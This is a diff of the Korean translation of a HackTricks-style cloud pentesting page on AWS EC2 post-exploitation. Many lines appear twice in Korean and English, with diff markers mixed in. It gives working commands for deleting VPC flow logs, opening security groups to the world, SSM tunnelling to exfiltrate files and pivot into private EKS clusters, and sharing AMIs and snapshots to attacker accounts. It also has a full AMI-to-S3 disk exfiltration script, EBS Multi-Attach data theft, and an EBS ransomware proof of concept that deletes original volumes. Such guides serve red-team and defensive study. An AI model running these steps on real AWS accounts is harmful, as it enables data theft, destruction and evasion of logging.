aws-ec2-instance-connect-endpoint-backdoor.md
{{#endref}}
### EC2 ENI Secondary Private IP Hijack
피해자 ENI의 secondary private IP를 공격자 제어 ENI로 이동시켜 IP로 allowlisted된 신뢰된 호스트를 가장합니다. 특정 주소에 기반한 internal ACLs 또는 SG rules를 우회할 수 있습니다.
{{#ref}}
aws-eni-secondary-ip-hijack.md
{{#endref}}
### Elastic IP Hijack for Ingress/Egress Impersonation
피해자 instance에서 Elastic IP를 공격자에게 재연결해 인바운드 트래픽을 가로채거나 신뢰된 public IP로 보이는 아웃바운드 연결을 생성합니다.
{{#ref}}
aws-eip-hijack-impersonation.md
{{#endref}}
### Security Group Backdoor via Managed Prefix Lists
security group rule이 customer-managed prefix list를 참조하는 경우, 리스트에 attacker CIDRs를 추가하면 SG 자체를 수정하지 않고도 모든 종속 SG rule에 대한 접근을 조용히 확장할 수 있습니다.
{{#ref}}
aws-managed-prefix-list-backdoor.md
{{#endref}}
### VPC Endpoint Egress Bypass
gateway 또는 interface VPC endpoints를 생성해 격리된 subnets에서 아웃바운드 접근을 회복할 수 있습니다. AWS-managed private links를 활용하면 IGW/NAT 제어가 없더라도 데이터 exfiltration을 우회할 수 있습니다.
{{#ref}}
aws-vpc-endpoint-egress-bypass.md
{{#endref}}
### VPC Flow Logs Cross-Account Exfiltration
VPC Flow Logs를 공격자 제어 S3 버킷으로 지정해 피해자 계정 외부에서 네트워크 메타데이터(출발지/목적지, 포트 등)를 장기간 수집할 수 있습니다.
{{#ref}}
aws-vpc-flow-logs-cross-account-exfiltration.md
{{#endref}}
### Data Exfiltration
#### DNS Exfiltration
EC2를 락다운해 아무 트래픽도 나가지 못하게 해도, 여전히 **exfil via DNS**가 가능합니다.
- **VPC Flow Logs will not record this**.
- AWS DNS logs에 접근할 수 없습니다.
- 이를 비활성화하려면 "enableDnsSupport"를 false로 설정하세요:
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
#### API 호출을 통한 유출
#### Exfiltration via API calls
공격자는 자신이 제어하는 계정의 API 엔드포인트를 호출할 수 있습니다. Cloudtrail은 이 호출을 기록하며, 공격자는 Cloudtrail 로그에서 유출된 데이터를 확인할 수 있습니다.
공격자는 자신이 제어하는 계정의 API endpoints를 호출할 수 있습니다. Cloudtrail은 이러한 호출을 기록하며 공격자는 Cloudtrail 로그에서 exfiltrate된 데이터를 확인할 수 있습니다.
### 열린 보안 그룹
### Open Security Group
다음과 같이 포트를 열 네트워크 서비스에 대한 추가 접근을 얻을 수 있습니다:
다음과 같이 포트를 열 네트워크 서비스에 대한 추가 접근을 얻을 수 있습니다:
```bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
```
### Privesc to ECS
EC2 인스턴스를 실행하고 이를 ECS 인스턴스를 실행하는 데 사용하도록 등록한 다음 ECS 인스턴스의 데이터를 훔치는 것이 가능합니다.
EC2 instance를 실행하고, 이를 ECS instances를 실행하는 데 사용하도록 등록한 ECS instances의 데이터를 steal할 수 있습니다.
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
자세한 내용은 [**여기를 확인하세요**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
### Remove VPC flow logs
```bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
```
### SSM 포트 포워딩
### SSM Port Forwarding
필요 권한:
필요 권한:
- `ssm:StartSession`
명령 실행 외에도 SSM은 트래픽 터널링을 허용하며, 이는 보안 그룹이나 NACL로 인해 네트워크 접근이 없는 EC2 인스턴스에서 피벗하는 데 악용될 수 있습니다. 이 기능이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 개인 EKS 클러스터로 피벗하는 것입니다.
명령 실행 외에도, SSM은 traffic tunneling을 허용하며 이는 Security Groups나 NACLs 때문에 네트워크 접근이 없는 EC2 인스턴스에서 pivot할 때 악용될 수 있습니다.
이 방법이 유용한 시나리오 중 하나는 [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/)에서 private EKS 클러스터로 pivoting 하는 경우입니다.
> 세션을 시작하려면 SessionManagerPlugin이 설치되어 있어야 합니다: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
1. 머신에 SessionManagerPlugin을 설치합니다.
2. 다음 명령을 사용하여 Bastion EC2에 로그인합니다:
1. 로컬 머신에 SessionManagerPlugin을 설치합니다
2. 다음 명령을 사용 Bastion EC2에 로그인합니다:
```shell
aws ssm start-session --target "$INSTANCE_ID"
```
3. [AWS EC2 환경에서 SSRF 악용하기](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 스크립트를 사용하여 Bastion EC2 AWS 임시 자격 증명을 가져옵니다.
4. 자격 증명을 `$HOME/.aws/credentials` 파일에 `[bastion-ec2]` 프로필로 자신의 머신으로 전송합니다.
5. Bastion EC2로 EKS에 로그인합니다:
3. Bastion EC2의 AWS 임시 자격증명을 [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) 스크립트를 사용하여 얻는다
4. 자격 증명을 자신의 머신의 `$HOME/.aws/credentials` 파일에 `[bastion-ec2]` 프로파일로 전송한다
5. Bastion EC2로 EKS에 로그인:
```shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
```
6. `$HOME/.kube/config` 파일의 `server` 필드를 `https://localhost` 업데이트합니다.
6. `$HOME/.kube/config` 파일의 `server` 필드를 `https://localhost`를 가리키도록 업데이트합니다.
7. 다음과 같이 SSM 터널을 생성합니다:
```shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
```
8. `kubectl` 도구의 트래픽 이제 Bastion EC2를 통해 SSM 터널을 통해 전달되며, 다음 명령어를 실행하여 자신의 머신에서 개 EKS 클러스터에 접근할 수 있습니다:
8. `kubectl` 도구의 트래픽 이제 Bastion EC2를 통해 SSM 터널로 포워딩되며, 다음 명령 실행하면 본인 머신에서 비공개 EKS 클러스터에 접근할 수 있습니다:
```shell
kubectl get pods --insecure-skip-tls-verify
```
SSL 연결은 `--insecure-skip-tls-verify ` 플래그(또는 K8s 감사 도구의 동등한 옵션)를 설정하지 않으면 실패합니다. 트래픽이 안전한 AWS SSM 터널을 통해 터널링되므로 MitM 공격으로부터 안전합니다.
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
마지막으로, 이 기개인 EKS 클러스터를 공격하는 데만 국한되지 않습니다. 임의의 도메인과 포트를 설정하여 다른 AWS 서비스나 사용자 정의 애플리케이션으로 피벗할 수 있습니다.
마지막으로, 이 기프라이빗 EKS 클러스터를 공격하는 데만 국한되지 않습니다. 임의의 도메인과 포트를 설정하여 다른 AWS 서비스나 커스텀 애플리케이션으로 pivot할 수 있습니다.
---
#### 빠른 로컬 ↔️ 원격 포트 포워 (AWS-StartPortForwardingSession)
#### 빠른 로컬 ↔️ 원격 포트 포워 (AWS-StartPortForwardingSession)
EC2 인스턴스에서 로컬 호스트로 **하나의 TCP 포트만 포워딩**해야 하는 경우 `AWS-StartPortForwardingSession` SSM 문서를 사용할 수 있습니다(원격 호스트 매개변수 필요 없음):
만약 **EC2 인스턴스에서 로컬 호스트로 하나의 TCP 포트만** 포워딩하면 된다면, `AWS-StartPortForwardingSession` SSM 문서를 사용할 수 있습니다(원격 호스트 파라미터 불필요):
```bash
aws ssm start-session --target i-0123456789abcdef0 \
--document-name AWS-StartPortForwardingSession \
--parameters "portNumber"="8000","localPortNumber"="8000" \
--region <REGION>
```
명령은 작업 공간(`localPortNumber`)과 인스턴스의 선택된 포트(`portNumber`) 에 양방향 터널을 설정합니다 **인바운드 보안 그룹 규칙을 열지 않고**.
명령은 워크스테이션(`localPortNumber`)과 인스턴스의 선택된 포트(`portNumber`) 사이에 양방향 터널을 설정합니다 **인바운드 Security-Group 규칙을 열지 않고**.
일반적인 사용 사례:
Common use cases:
* **파일 유출**
1. 인스턴스에서 유출하려는 디렉리를 가리키는 빠른 HTTP 서버를 시작합니다:
* **File exfiltration**
1. 인스턴스에서 exfiltrate하려는 디렉리를 가리키는 간단한 HTTP 서버를 시작합니다:
```bash
python3 -m http.server 8000
```
2. 작업 공간에서 SSM 터널을 통해 파일을 가져옵니다:
2. 워크스테이션에서 SSM 터널을 통해 파일을 가져옵니다:
```bash
curl http://localhost:8000/loot.txt -o loot.txt
```
* **내부 웹 애플리케이션 접근 (예: Nessus)**
* **내부 웹 애플리케이션 접근하기 (e.g. Nessus)**
```bash
# Forward remote Nessus port 8834 to local 8835
aws ssm start-session --target i-0123456789abcdef0 \
@@ -159,7 +225,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
--parameters "portNumber"="8834","localPortNumber"="8835"
# Browse to http://localhost:8835
```
팁: CloudTrail이 평문 내용을 기록하지 않도록 증거를 압축하고 암호화한 후 유출하세요:
팁: 증거를 유출하기 전에 압축하고 암호화하여 CloudTrail이 평문 내용을 기록하지 않도록 하세요:
```bash
# On the instance
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
@@ -168,19 +234,19 @@ aws ssm start-session --target i-0123456789abcdef0 \
```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### 공개 및 비공개 AMI에서 민감한 정보 검색
### 공개 및 비공개 AMIs에서 민감한 정보 검색
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel은 **공개 또는 비공 Amazon Machine Images (AMIs) 내에서 민감한 정보를 검색하기 위해 설계된 도구**입니다. 이 도구는 대상 AMI에서 인스턴스를 시작하고, 볼륨을 마운트하며, 잠재적인 비밀이나 민감한 데이터를 스캔하는 과정을 자동화합니다.
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel은 **공개 또는 비공 Amazon Machine Images (AMIs) 내에서 민감한 정보를 검색**하도록 설계된 도구입니다. 이는 대상 AMIs에서 인스턴스를 시작하고 해당 볼륨을 마운트한 뒤 잠재적인 secrets 또는 민감한 데이터를 스캔하는 과정을 자동화합니다.
### EBS 스냅샷 공유
### EBS Snapshot 공유
```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```
### EBS Ransomware PoC
S3 포스트 익스플로이테이션 노트에서 시연된 랜섬웨어 데모와 유사한 개념 증명입니다. KMS는 다양한 AWS 서비스를 암호화하는 데 사용하는 것이 얼마나 쉬운지를 고려하여 랜섬웨어 관리 서비스(RMS)로 이름을 변경해야 합니다.
S3 post-exploitation notes에 시연된 Ransomware 데모와 유사한 개념 증명입니다. KMS는 다양한 AWS 서비스를 암호화하는 데 사용하는 것이 얼마나 쉬운지 때문에 Ransomware Management Service(줄여서 RMS)로 이름을 바꿔야 합니다.
먼저 '공격자' AWS 계정에서 KMS에 고객 관리 키를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 하겠지만, 현실적인 시나리오에서는 악의적 행위자가 AWS의 통제를 벗어난 곳에 키 데이터를 보관할 것입니다. 키 정책을 변경하여 모든 AWS 계정 주체가 키를 사용할 수 있도록 허용합니다. 이 키 정책의 경우, 계정 이름은 'AttackSim'이며 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'이라고 니다.
먼저 'attacker' AWS 계정에서 KMS에 customer managed key를 생성합니다. 이 예에서는 AWS가 키 데이터를 관리하도록 하겠지만, 현실적인 시나리오에서는 악의적 행위자가 AWS의 관리 범위를 벗어나 키 데이터를 보관할 것입니다. key policy를 변경하여 모든 AWS 계정 Principal이 키를 사용할 수 있도록 허용하세요. 이 key policy의 경우 계정 이름은 'AttackSim'였고, 모든 접근을 허용하는 정책 규칙은 'Outside Encryption'이라고 불립니다.
```
{
"Version": "2012-10-17",
@@ -272,7 +338,7 @@ S3 포스트 익스플로이테이션 노트에서 시연된 랜섬웨어 데모
]
}
```
키 정책 규칙은 EBS 볼륨을 암호화하는 데 사용 수 있도록 다음을 활성화해야 합니다:
키 정책 규칙은 EBS 볼륨을 암호화하는 데 사용 수 있도록 다음 항목들이 활성화되어 있어야 합니다:
- `kms:CreateGrant`
- `kms:Decrypt`
@@ -280,21 +346,21 @@ S3 포스트 익스플로이테이션 노트에서 시연된 랜섬웨어 데모
- `kms:GenerateDataKeyWithoutPlainText`
- `kms:ReEncrypt`
이제 공개적으로 접근 가능한 키를 사용할 수 있습니다. 우리는 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스 있는 '희생자' 계정을 사용할 수 있습니다. 이 '희생자' 계정의 EBS 볼륨이 암호화를 목표로 하고 있으며, 이 공격은 고급 권한 AWS 계정 침해를 가정하고 있습니다.
이제 공개적으로 접근 가능한 키를 사용할 수 있습니다. 암호화 대상은 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스들이 있는 'victim' 계정을 사용할 수 있습니다. 이 'victim' 계정의 EBS 볼륨우리가 암호화하려는 대상이며, 이 공격은 높은 권한을 가진 AWS 계정 침해되었다는 가정 하에 진행됩니다.
![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
S3 랜섬웨어 예제와 유사하게, 이 공격은 연결된 EBS 볼륨의 복사본을 스냅샷을 사용하여 생성하고, '공격자' 계정의 공개적으로 사용 가능한 키를 사용하여 새로운 EBS 볼륨을 암호화한 다음, 원 EBS 볼륨을 EC2 인스턴스에서 분리하 삭제하, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
S3 ransomware 예제와 유사하게, 이 공격은 스냅샷을 사용해 연결된 EBS 볼륨의 복사본을 만들고, 'attacker' 계정의 공개 키를 사용해 새 EBS 볼륨을 암호화한 다음, 원 EBS 볼륨을 EC2 인스턴스에서 분리하 삭제하, 이후 새로 암호화된 EBS 볼륨을 만드는 데 사용된 스냅샷을 삭제합니다. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
이로 인해 계정에 남아 있는 것은 암호화된 EBS 볼륨뿐입니다.
이로 인해 계정에 암호화된 EBS 볼륨만 남게 됩니다.
![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
또한 주목할 점은, 스크립트가 EC2 인스턴스를 중지시켜 원래 EBS 볼륨을 분리하고 삭제했다는 것입니다. 원의 암호화되지 않은 볼륨은 이제 사라졌습니다.
또한 스크립트가 원본 EBS 볼륨을 분리하고 삭제하기 위해 EC2 인스턴스들을 중지시켰다는 점도 주목할 만합니다. 원의 암호화되지 않은 볼륨은 이제 사라졌습니다.
![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
다음으로, '공격자' 계정의 키 정책으로 돌아가 'Outside Encryption' 정책 규칙을 키 정책에서 제거합니다.
다음으로 'attacker' 계정의 키 정책으로 돌아가서 키 정책에서 'Outside Encryption' 정책 규칙을 제거합니다.
```json
{
"Version": "2012-10-17",
@@ -365,15 +431,15 @@ S3 랜섬웨어 예제와 유사하게, 이 공격은 연결된 EBS 볼륨의
]
}
```
잠시 새로 설정된 키 정책이 전파되기를 기다리십시오. 그런 다음 '피해자' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 연결해 보십시오. 볼륨을 연결할 수 있음을 알게 될 것입니다.
잠시 새로 설정한 key policy가 전파될 때까지 기다리세요. 그런 다음 'victim' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 attach해 보세요. 볼륨을 attach할 수 있음을 확인할 수 있습니다.
![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
하지만 암호화된 EBS 볼륨로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하고 '대기 중' 상태에서 '중지됨' 상태로 영원히 돌아갑니다. 이는 연결된 EBS 볼륨을 키 정책이 더 이상 허용하지 않기 때문에 키를 사용하여 복호화할 수 없기 때문입니다.
하지만 암호화된 EBS 볼륨을 장착한 상태로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하고 'pending' 상태에서 다시 'stopped' 상태로 영원히 돌아갑니다. 연결된 EBS 볼륨이 해당 key로 복호화될 수 없기 때문이며, key policy가 더 이상 이를 허용하지 않기 때문입니다.
![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
이것 사용된 파이썬 스크립트입니다. '피해자' 계정의 AWS 자격 증명과 암호화에 사용될 키의 공개적으로 사용 가능한 AWS ARN 값을 가져옵니다. 스크립트는 대상 AWS 계정 모든 EC2 인스턴스에 연결된 모든 EBS 볼륨 암호화된 사본 만들고, 모든 EC2 인스턴스를 중지하고, 원 EBS 볼륨을 분리하고, 삭제한 다음, 프로세스 중에 사용된 모든 스냅샷 삭제합니다. 이렇게 하면 대상 '피해자' 계정에 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 테스트 환경에서만 사용하십시오. 파괴적이며 모든 원래 EBS 볼륨을 삭제합니다. 사용된 KMS 를 사용하여 복구하고 스냅샷을 통해 원래 상태로 복원할 수 있지만, 결국 이것이 랜섬웨어 PoC라는 점을 인지하시기 바랍니다.
이것 사용된 python 스크립트입니다. 이 스크립트는 'victim' 계정의 AWS creds와 암호화에 사용 공개적으로 사용 가능한 AWS ARN 값을 입력받습니다. 스크립트는 대상 AWS 계정에 연결된 모든 EC2 인스턴스의 사용 가능한 모든 EBS 볼륨 암호화된 사본으로 만들고, 모든 EC2 인스턴스를 중지시키며, 원 EBS 볼륨을 분리(detach)하고 삭제한 다음, 과정에서 사용된 모든 스냅샷 삭제합니다. 이로 인해 대상 'victim' 계정에 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 테스트 환경에서만 사용하세요 — 파괴적이며 원본 EBS 볼륨을 모두 삭제합니다. 사용된 KMS key를 사용해 스냅샷으로 복구하여 원래 상태로 복원할 수 있지만, 결국 이는 ransomware PoC임을 알려드립니다.
```
import boto3
import argparse
@@ -490,7 +556,7 @@ delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()
```
## References
## 참고자료
- [Pentest Partners How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
@@ -0,0 +1,137 @@
# AWS AMI Store-to-S3를 통한 은밀한 디스크 유출 (CreateStoreImageTask)
{{#include ../../../../banners/hacktricks-training.md}}
## 요약
EC2 AMI의 export-to-S3 기능을 악용하여 EC2 인스턴스의 전체 디스크를 S3에 단일 원시 이미지로 내보내고, 이를 대역 외로 다운로드합니다. 이는 스냅샷 공유를 피하고 AMI당 하나의 객체를 생성합니다.
## 요구사항
- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` 대상 인스턴스/AMI에서
- S3 (같은 Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
- AMI 스냅샷을 보호하는 키에 대한 KMS decrypt 권한 (EBS 기본 암호화가 활성화된 경우)
- `vmie.amazonaws.com` 서비스 주체를 신뢰하는 S3 버킷 정책(아래 참조)
## 영향
- 스냅샷을 공유하거나 계정 간 복사 없이 인스턴스 루트 디스크를 S3에 완전히 오프라인 획득할 수 있음.
- 내보낸 원시 이미지에서 자격증명, 구성 및 파일시스템 내용을 은밀하게 포렌식할 수 있음.
## AMI Store-to-S3로 유출하는 방법
- 참고:
- S3 버킷은 AMI와 같은 리전에 있어야 합니다.
- `us-east-1`에서는 `create-bucket``--create-bucket-configuration`을 포함하면 안 됩니다.
- `--no-reboot`는 인스턴스를 중지하지 않고 crash-consistent 이미지를 생성합니다 (더 은밀하지만 일관성은 낮음).
<details>
<summary>단계별 명령</summary>
```bash
# Vars
REGION=us-east-1
INSTANCE_ID=<i-victim>
BUCKET=exfil-ami-$(date +%s)-$RANDOM
# 1) Create S3 bucket (same Region)
if [ "$REGION" = "us-east-1" ]; then
aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
else
aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
fi
# 2) (Recommended) Bucket policy to allow VMIE service to write the object
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
cat > /tmp/bucket-policy.json <<POL
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowVMIEPut",
"Effect": "Allow",
"Principal": {"Service": "vmie.amazonaws.com"},
"Action": [
"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
],
"Resource": [
"arn:aws:s3:::$BUCKET",
"arn:aws:s3:::$BUCKET/*"
],
"Condition": {
"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
}
}
]
}
POL
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
# 3) Create an AMI of the victim (stealthy: do not reboot)
AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
# 4) Wait until the AMI is available
aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
# 5) Store the AMI to S3 as a single object (raw disk image)
OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
echo "Object in S3: s3://$BUCKET/$OBJKEY"
# 6) Poll the task until it completes
until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
--query StoreImageTaskResults[0].StoreTaskState --output text
sleep 10
done
# 7) Prove access to the exported image (download first 1MiB)
aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
ls -l /tmp/ami.bin
# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
done
aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
aws s3 rb "s3://$BUCKET" --force --region "$REGION"
```
</details>
## 증거 예시
- `describe-store-image-tasks` 전환:
```text
InProgress
Completed
```
- S3 오브젝트 메타데이터(예):
```json
{
"AcceptRanges": "bytes",
"LastModified": "2025-10-08T01:31:46+00:00",
"ContentLength": 399768709,
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
"ContentType": "application/octet-stream",
"ServerSideEncryption": "AES256",
"Metadata": {
"ami-name": "exfil-1759887010",
"ami-owner-account": "<account-id>",
"ami-store-date": "2025-10-08T01:31:45Z"
}
}
```
- 부분 다운로드는 객체 액세스를 증명합니다:
```bash
ls -l /tmp/ami.bin
# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin
```
## 필요한 IAM 권한
- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
- S3 (내보내기 버킷에서): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
- KMS: AMI 스냅샷이 암호화된 경우, 스냅샷에 사용된 EBS KMS 키에 대해 decrypt를 허용
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,77 @@
# AWS - Live Data Theft via EBS Multi-Attach
{{#include ../../../../banners/hacktricks-training.md}}
## 요약
공격자가 제어하는 동일한 Availability Zone (AZ) 내 인스턴스에 동일한 볼륨을 연결하여 EBS Multi-Attach를 악용해 라이브 io1/io2 데이터 볼륨을 읽습니다. 공유 볼륨을 읽기 전용으로 마운트하면 snapshots를 생성하지 않고 사용 중인 파일에 즉시 접근할 수 있습니다.
## 요구사항
- 대상 볼륨: 공격자 인스턴스와 동일한 AZ에 생성된 io1 또는 io2로, `--multi-attach-enabled`로 생성되어야 합니다.
- 권한: 대상 볼륨/인스턴스에 대해 `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances`.
- 인프라: Multi-Attach를 지원하는 Nitro 기반 인스턴스 유형 (C5/M5/R5 계열 등).
## 참고
- 손상 위험을 줄이고 저널 재생을 피하려면 `-o ro,noload`로 읽기 전용으로 마운트하세요.
- Nitro 인스턴스에서는 EBS NVMe 장치가 안정적인 `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` 경로를 노출합니다 (아래 헬퍼 참조).
## Prepare a Multi-Attach io2 volume and attach to victim
Example (create in `us-east-1a` and attach to the victim):
```bash
AZ=us-east-1a
# Create io2 volume with Multi-Attach enabled
VOL_ID=$(aws ec2 create-volume \
--size 10 \
--volume-type io2 \
--iops 1000 \
--availability-zone $AZ \
--multi-attach-enabled \
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
--query 'VolumeId' --output text)
# Attach to victim instance
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
```
피해자 시스템에서 새 볼륨을 포맷/마운트하고 민감한 데이터를 기록합니다(예시):
```bash
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkfs.ext4 -F "$DEV"
sudo mkdir -p /mnt/shared
sudo mount "$DEV" /mnt/shared
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
sudo sync
```
## 공격자 인스턴스에 동일한 볼륨 연결
```bash
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
```
## attacker에서 읽기 전용으로 마운트하고 데이터 읽기
```bash
VOLNOHYP="vol${VOL_ID#vol-}"
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
sudo mkdir -p /mnt/steal
sudo mount -o ro,noload "$DEV" /mnt/steal
sudo cat /mnt/steal/secret.txt
```
예상 결과: 동일한 `VOL_ID`에 여러 `Attachments` (victim과 attacker)가 표시되며, attacker는 snapshot을 생성하지 않고 victim이 쓴 파일을 읽을 수 있다.
```bash
aws ec2 describe-volumes --volume-ids $VOL_ID \
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
```
<details>
<summary>도움말: 볼륨 ID로 NVMe 디바이스 경로 찾기</summary>
Nitro instances에서는 볼륨 ID를 포함하는 안정적인 by-id 경로를 사용하세요(`vol` 뒤의 대시를 제거):
```bash
VOLNOHYP="vol${VOL_ID#vol-}"
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
```
</details>
## 영향
- 즉시 타깃 EBS 볼륨의 라이브 데이터에 snapshots를 생성하지 않고 읽을 수 있다.
- 만약 read-write로 마운트된 경우 공격자는 피해자 파일시스템을 변조할 수 있다(손상 위험).
{{#include ../../../../banners/hacktricks-training.md}}
@@ -0,0 +1,113 @@
# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
{{#include ../../../../banners/hacktricks-training.md}}
EC2 Instance Connect Endpoint (EIC Endpoint)을 악용하여 퍼블릭 IP나 bastion이 없는 프라이빗 EC2 인스턴스에 대한 인바운드 SSH 접근을 획득합니다. 방법:
- 타깃 서브넷 내부에 EIC Endpoint 생성
- EIC Endpoint SG로부터 타깃 SG에 대한 인바운드 SSH 허용
- 짧은 수명의 SSH 공개키(유효 약 60초)를 `ec2-instance-connect:SendSSHPublicKey`로 주입
- EIC 터널을 열어 인스턴스로 피벗하여 IMDS에서 인스턴스 프로파일 자격증명 탈취
